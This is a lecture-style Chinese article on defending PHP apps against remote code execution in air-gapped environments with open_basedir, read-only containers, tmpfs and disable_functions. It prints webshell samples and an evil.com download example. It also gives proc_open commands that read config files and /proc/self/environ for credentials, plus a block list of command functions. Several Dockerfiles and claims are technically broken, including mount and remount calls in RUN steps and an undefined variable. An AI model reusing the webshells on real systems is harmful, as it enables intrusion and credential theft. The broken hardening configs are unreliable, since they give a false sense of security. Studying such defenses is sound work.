讲座主题:PHP 环境下的 RCE 攻击物理隔离:利用 open_basedir 与容器 Read-only 模式构建安全壁垒
主讲人: 你的首席安全架构师(兼吐槽担当)
时长: 漫长的下午茶时间
听众: 那些试图在不联网的空气间隙里写出“绝对安全”代码的后端工程师们
各位同事,各位老铁,大家下午好!
今天我们不聊那些花里胡哨的网络安全术语,也不讲那些只要连了网就能连上的“反弹Shell”。我们今天要聊的是那个听起来很浪漫、实际上很孤独的词——物理隔离。
想象一下,你的服务器就像是一个被拔了网线的“闭关修炼”高手。它在这个房间里,没有WiFi,没有4G,甚至连隔壁老王都摸不到。这听起来很安全对吧?就像把你的秘密日记本锁在保险柜里,然后把保险柜扔进深海里。
但是!各位,请注意那个但是。只要你还在运行 PHP,只要你还在执行 eval() 或者 include(),你就依然是一块行走的“肉”。RCE(远程代码执行)在物理隔离的环境下,依然是一把能插进你心脏的尖刀。只不过,因为拔了网线,攻击变得更有趣了——我们需要用这把刀去捅自己人的屁股。
今天,我们就来探讨如何在物理隔离的这种极端绝望的环境下,利用 open_basedir 和 容器 Read-only 模式,给我们的 PHP 程序穿上一层防弹背心。这不是为了保护代码不被黑客修改,而是为了防止我们自己的代码因为一个低级失误,变成黑客的提权工具。
来,把笔记本拿出来,我们要开始上硬菜了。
第一章:PHP,那个给了你钥匙却忘了锁门的疯子
首先,我们要搞清楚敌人的身份。在物理隔离环境下,RCE 攻击通常不是通过 curl http://evil.com/shell.php 进来的,因为没网啊!攻击者可能是通过 U 盘拷贝了一个看似无害的配置文件进来的,或者仅仅是点击了一个前端页面触发了一个后端的逻辑漏洞。
在 PHP 里,制造 RCE 的方式比做原子弹还简单。我们要熟悉以下几位“惯犯”:
eval():最经典的罪犯。它直接把你的字符串当 PHP 代码执行。// 危险!太危险了! $code = $_GET['cmd']; eval($code);assert():PHP 5 和 7 早期版本里的亲戚,甚至比eval还容易中招。include/require:如果你能控制文件路径,它就会加载并执行。file_put_contents+file_get_contents:当你结合这两者,你就可以写一个 WebShell。
在物理隔离环境,因为 file_put_contents 写不进 /tmp(可能因为挂载只读),写不进 /var/www/html(因为 open_basedir 限制),攻击者会感到绝望吗?是的,他们会感到绝望,除非……他们找到了绕过这些限制的缝隙。
第二章:第一道防线——open_basedir:你的“只能吃食堂”政策
open_basedir 是 PHP 里的常驻嘉宾,它就像一个刻薄的管家,严格限制你的活动范围。
2.1 它的原理
open_basedir 并不是防火墙,它只是 PHP 的配置项。它的作用是:如果你不在允许的目录列表里,我就不让你 fopen,不让你 file_get_contents,甚至不让你 scandir。
看这段代码,这是我们的防御:
<?php
// 假设配置文件 php.ini 中设置了 open_basedir = /var/www/html:/tmp
// 尝试读取根目录的敏感文件
$handle = fopen('/etc/passwd', 'r');
if ($handle) {
while (!feof($handle)) {
echo fgets($handle);
}
fclose($handle);
} else {
echo "哎呀,管家说:‘不行,这儿不让你去。’n";
}
如果 open_basedir 配置正确,这段代码什么也不会输出。这就是“物理隔离”的第一层逻辑:既然你出不去,我就把路堵死。
2.2 幽默的误解
很多开发者以为只要开了 open_basedir 就万事大吉了。太天真了!open_basedir 有一个巨大的坑:它只限制文件系统的访问,不限制进程的执行!
这就好比你把门锁死了,禁止任何人出门,但是你没有锁厨房的燃气阀门。如果你能在里面 system('ls'),那你依然可以干坏事。
所以,在物理隔离环境下,单纯依靠 open_basedir 是不够的。我们需要更硬核的手段。
第三章:容器化时代——Read-only 模式:你的“胶水封死”术
如果你觉得 PHP 的 open_basedir 还是太宽容,那我们就得请出现代 Web 应用的护身符——容器,特别是 Read-only(只读)模式的容器。
3.1 Read-only 的美妙之处
在 Docker 容器中,如果你把根文件系统挂载为只读,会发生什么?
任何试图 write(写入)的操作都会抛出 E_ERROR。这意味着 file_put_contents、mkdir、甚至很多日志记录库尝试写日志时,都会直接崩掉。
这是我们的 Dockerfile 实验代码:
FROM php:7.4-cli
# 关键配置:把根目录挂载为只读
RUN mkdir /app && mount -o bind /dev/null /app
# 我们要运行一个 PHP 脚本
COPY exploit.php /app/exploit.php
CMD ["php", "/app/exploit.php"]
当我们运行这个容器,并执行一个写入操作时,会发生什么?让我们看看 exploit.php:
<?php
$filename = '/tmp/pwned.txt';
$content = 'I am writing this!';
$result = file_put_contents($filename, $content);
if ($result === false) {
echo "写入失败!服务器正在哭泣:'我不写了,我没地方写!'";
} else {
echo "写入成功!恭喜你,你打破了物理隔离的壁垒。";
}
在 Read-only 容器里,输出将是:
写入失败!服务器正在哭泣:'我不写了,我没地方写!'
这非常美妙! 这就是我们要的安全壁垒。攻击者想要持久化(留后门),想要反弹 Shell,或者想要上传 WebShell,在 Read-only 容器里几乎不可能,因为文件系统是干巴巴的。
3.2 结合 open_basedir 的“双杀”战术
现在,我们把两者结合起来,这简直是噩梦般的配置:
open_basedir:只允许访问/var/www/html和/proc/self(这个后面讲)。- Read-only Root:根目录甚至
/var/www/html都是只读的。
看下面这段代码,这是攻击者眼中的天堂:
<?php
// 恶意的 WebShell
if (isset($_GET['cmd'])) {
$cmd = $_GET['cmd'];
// 1. 尝试直接写文件(失败)
$file = 'shell.php';
file_put_contents($file, '<?php system($_GET["c"]); ?>');
// 2. 尝试包含文件(失败,因为文件没写进去)
include $file;
// 3. 尝试反弹 Shell(失败,没网络)
// ...
}
因为文件写不进去,包含失败,网络断开,这个 WebShell 就只是一行废代码。
第四章:物理隔离下的“特洛伊木马”——为什么 Read-only 并不是无敌的
但是,各位,不要高兴得太早。物理隔离环境下的攻击者都是老江湖。他们发现,既然文件写不进去,那我就修改内存,或者利用进程。
4.1 那个隐藏的挂载点
Read-only 容器有个经典陷阱:挂载点。
容器可以只把 / 设置为 Read-only,然后挂载一个特定的目录(比如 /var/log 或 /var/www/html)为 Read-write(可写)。这就是“空口无凭”的陷阱。
攻击者通常不会直接写根目录,他们会尝试寻找那个唯一的“空隙”。
<?php
// 侦察代码
$mounts = file_get_contents('/proc/self/mounts');
echo $mounts;
这行代码会输出当前进程看到的所有挂载信息。
如果容器配置为:
/只读/app可写
攻击者就能利用这个漏洞。
4.2 proc_open 与 pcntl_exec:容器里的“自毁式攻击”
在物理隔离环境,既然不能上传文件,攻击者就会转向执行内存中的代码。
PHP 提供了 proc_open 和 pcntl_exec。即使 open_basedir 阻止了文件操作,它通常无法阻止进程的创建。
让我们看看这段防御代码是如何失效的:
<?php
// 防御者的代码:严格限制 open_basedir
// open_basedir = /app
// 攻击者的代码
$descriptorspec = array(
0 => array("pipe", "r"), // stdin
1 => array("pipe", "w"), // stdout
2 => array("pipe", "w"), // stderr
);
// 尝试执行系统命令
// 注意:open_basedir 不限制 /bin/ls
$process = proc_open('/bin/ls -la /', $descriptorspec, $pipes);
// 即使在 Read-only 容器里,/bin/ls 也是只读的,但命令是可以执行的!
// 攻击者可以执行:/bin/sh -c "cat /proc/self/environ"
// 从而获取环境变量中的数据库密码
结论: open_basedir 就像一道门,门后是安全的房间。但攻击者可以站在门外,通过门上的小洞(管道 pipe)把长杆子(命令执行)伸进来搅动房间里的东西。
第五章:真正的壁垒——如何构建完美的“死亡陷阱”
既然 open_basedir 和 Read-only 模式都不是完美的,那我们该怎么构建那个传说中的“安全壁垒”?
我们必须采取“组合拳”。
5.1 open_basedir 的进阶配置
不要只允许 /var/www/html。在物理隔离环境下,我们要尽量缩小范围。
# php.ini
open_basedir = /var/www/html:/dev/shm
把 /dev/shm 放进去可能会带来风险,因为它通常是可写的。所以,最安全的配置是:
open_basedir = /var/www/html
如果你确实需要读日志,把日志路径加入到 open_basedir 中,但也别加太多。
5.2 容器化的终极形态:read-only + tmpfs 隔离
这里有一个高级技巧。
如果你真的需要一个地方写临时文件(比如 session 文件),不要使用宿主机的 /tmp,也不要使用容器内部的 /tmp(因为 / 是只读的)。
你可以使用 tmpfs(内存文件系统)。
FROM php:7.4-fpm
# 1. 根目录只读
RUN mount -o remount,ro /
# 2. 挂载一个内存盘作为可写区
RUN mkdir /tmp_rw && mount -t tmpfs -o size=128m tmpfs /tmp_rw
# 3. 挂载 /tmp 到内存盘
RUN mount --bind /tmp_rw /tmp
# 4. 配置 open_basedir
RUN echo "open_basedir=/var/www/html:/tmp" > /usr/local/etc/php/conf.d/security.ini
这个配置极其强悍:
- 根目录只读:攻击者无法在
/var/www/html下写 WebShell。 - 内存盘 (
tmpfs):虽然/tmp在物理上是可写的,但它不在磁盘上。如果攻击者试图file_put_contents,文件会写入内存。一旦容器重启,内存清空,一切归于虚无。 open_basedir:限制了读取权限。
5.3 封锁 proc 接口
在物理隔离环境下,我们甚至可以尝试封禁 /proc 的访问,但这通常会导致 PHP 崩溃(因为 PHP 依赖它获取环境变量)。
更聪明的做法是:不要给 Web 用户执行系统命令的权限。
如果你用 Docker,确保 Web 容器里没有安装 grep, cat, ls,甚至没有 bash。
FROM php:7.4-fpm
RUN apt-get update && apt-get purge -y bash && rm -rf /var/lib/apt/lists/*
这是一个心理战。当攻击者尝试 system('ls') 时,系统告诉他:“没有这个命令。” 攻击者会感到困惑,然后开始尝试其他方法。
第六章:实战演练——一场“无网络”的攻防博弈
让我们假设一个场景:你在物理隔离的内网维护一个 PHP 网站管理后台。管理员误触了某个 API,导致 RCE。
场景 A:普通的 WebShell 试图写入
攻击者代码:
<?php
$shell = base64_decode('PD9waHAgc3lzdGVtKCRfR0VUWyJjIl0pOz8+');
file_put_contents('shell.php', $shell);
include 'shell.php';
?>
防御者的反应(Read-only + open_basedir):
- 尝试写入
shell.php:被拒绝。文件系统只读。 - 尝试包含:失败。文件不存在。
- 结果: 漏洞利用结束。攻击者被锁在门外。
场景 B:聪明的攻击者试图利用 proc_open 提权
攻击者代码:
<?php
// 既然不能写文件,我就读文件
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w"),
);
// 尝试读取配置文件,获取数据库密码
// 假设配置文件在 /var/www/html/config.php
// open_basedir = /var/www/html,所以可以读
$process = proc_open('cat /var/www/html/config.php', $descriptorspec, $pipes);
stream_copy_to_stream($pipes[1], $stdout);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
?>
防御者的反应:
open_basedir允许读取/var/www/html。- 攻击者成功读取了
config.php,拿到了数据库密码。 - 结果: 服务器被黑了。
修正后的防御策略:
在物理隔离环境下,如果必须开启 open_basedir,必须同时禁止系统命令执行。
或者,更狠一点,不要给 Web 进程执行权限。
# 禁止 PHP 执行外部命令
RUN echo "disable_functions = exec,system,passthru,shell_exec,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source" > /usr/local/etc/php/conf.d/disable_functions.ini
第七章:总结——安全是一场没有终点的接力赛
各位,今天我们聊了很多。
在物理隔离的环境下,我们面临着一种特殊的孤独感。没有互联网作为后援,没有反弹 Shell 的退路,所有的攻击都必须发生在本地,所有的防御都必须立足于本地。
open_basedir 是你的第一道防线,它像严厉的门卫,阻止你的脚迈出界外。
容器 Read-only 模式 是你的第二道防线,它像坚硬的墙壁,阻止你的手在墙上乱画。
tmpfs 和 disable_functions 是你的第三道防线,它们是心理战,让攻击者在绝望中寻找出路。
记住,安全不是一次性的工程,而是一种生活方式。
不要以为把代码扔进容器就万事大吉了,如果容器里装的是 PHP + eval,那里面就是个定时炸弹。
不要以为设置了 open_basedir 就能高枕无忧,只要 Web 用户能 proc_open,他的手就能伸进厨房。
在物理隔离的深海里,只有最严谨的配置和最清醒的头脑,才能让你活过今晚。
好了,今天的讲座就到这里。如果你们不幸被黑了,记得先关机,再拔网线,最后再来找我喝茶。
谢谢大家!